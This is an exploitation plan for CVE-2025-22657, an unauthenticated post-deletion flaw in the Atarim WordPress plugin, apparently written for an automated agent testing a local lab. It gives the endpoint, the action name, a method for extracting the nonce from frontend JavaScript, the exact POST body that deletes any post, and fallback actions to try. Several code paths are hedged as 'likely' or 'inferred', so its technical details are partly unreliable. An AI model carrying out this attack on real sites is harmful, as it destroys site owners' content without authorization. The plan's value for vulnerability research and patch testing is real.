Exploitation Research Plan - CVE-2025-22657

1. Vulnerability Summary

The Atarim – Visual Feedback, Review & AI Collaboration plugin (versions <= 4.0.9) is vulnerable to Missing Authorization, allowing unauthenticated attackers to delete arbitrary WordPress posts. The vulnerability exists because the AJAX handler responsible for post/task deletion fails to perform a capability check (e.g., current_user_can( 'delete_posts' )) and is registered for unauthenticated users via the wp_ajax_nopriv_ hook. While a nonce check may be present, the nonce is exposed to unauthenticated visitors when "Guest Mode" or general frontend collaboration features are active.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wpfeedback_delete_post
• HTTP Method: POST
• Payload Parameters:
  • action: wpfeedback_delete_post
  • post_id: The ID of the post, page, or media item to delete.
  • nonce: A valid WordPress nonce for the wpf_security_nonce action.
• Authentication: Unauthenticated (via wp_ajax_nopriv_ registration).
• Preconditions: The plugin must be active. "Guest Mode" or frontend script enqueuing must be active (typical for Atarim's visual feedback functionality).

3. Code Flow

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action wpfeedback_delete_post.
2. Hook Registration: The plugin registers the action (likely in inc/wpf_ajax_functions.php or wpfeedback.php):

   add_action( 'wp_ajax_nopriv_wpfeedback_delete_post', 'wpfeedback_delete_post_ajax' );
   

3. Nonce Verification: The function wpfeedback_delete_post_ajax() is called. It likely invokes wpf_security_check() or a direct check_ajax_referer( 'wpf_security_nonce', 'nonce' ).
4. Vulnerable Sink: After the nonce check, the function retrieves $_POST['post_id'] and calls:

   wp_delete_post( $_POST['post_id'], true ); // Or false to move to trash
   

5. Missing Authorization: There is no check to verify if the current user has the authority to delete the post identified by post_id.

4. Nonce Acquisition Strategy

The Atarim plugin localizes security nonces for its frontend visual editor.

• Script Handle: wpf-script (or similar).
• JS Variable: wpf_ajax_obj (inferred from inc/wpf_ajax_functions.php usage).
• Nonce Key: nonce.
• Extraction Method:
  1. Create a public post to ensure frontend scripts are loaded.
  2. Navigate to the homepage or any public post.
  3. Execute JavaScript to extract the nonce: window.wpf_ajax_obj?.nonce.

5. Exploitation Strategy

1. Identify Target Post: Determine the ID of a post to delete (e.g., ID 1 for the default "Hello world!" post).
2. Obtain Nonce:
   • Use browser_navigate to visit the site's frontend.
   • Use browser_eval to grab wpf_ajax_obj.nonce.
3. Execute Deletion:
   • Use http_request to send the malicious payload to admin-ajax.php.
4. Request Details:
   • URL: http://localhost:8080/wp-admin/admin-ajax.php
   • Method: POST
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body: action=wpfeedback_delete_post&nonce=[EXTRACTED_NONCE]&post_id=[TARGET_POST_ID]

6. Test Data Setup

1. Create Victim Post:

   wp post create --post_type=post --post_title="Victim Post" --post_status=publish
   

   Note the resulting ID (e.g., 123).
2. Configure Plugin: Ensure the plugin is active. No special configuration is usually required as Atarim typically enqueues its scripts on the frontend for visual feedback.
3. Create Nonce Page: If the nonce variable is not present on the homepage, create a page with a potential shortcode:

   wp post create --post_type=page --post_status=publish --post_content='[wpf_collaboration]'
   

7. Expected Results

• Response: The server should return a successful status (likely 200 OK) and a response body indicating success (or just 0 / 1 if standard WordPress AJAX response).
• Effect: The post with the specified post_id will be permanently deleted (or trashed).

8. Verification Steps

1. Check Database via WP-CLI:

   wp post exists [ID]
   

   Expected result: No output or an error indicating the post does not exist.
2. Verify Post Type Irrelevance: Try deleting a Page or an Attachment using the same method to confirm "arbitrary" post deletion.

9. Alternative Approaches

• Different Nonce Names: If wpf_ajax_obj.nonce is not found, search the HTML source for any string matching [a-f0-9]{10} inside script tags or variables like wpf_ajax_functions_vars.
• Trash vs. Delete: If the post is not permanently deleted, check the trash:

  wp post list --post_status=trash
  

• Other Actions: If wpfeedback_delete_post is not the exact action, check for similar actions in inc/wpf_ajax_functions.php such as wpfeedback_remove_task or wpf_delete_post.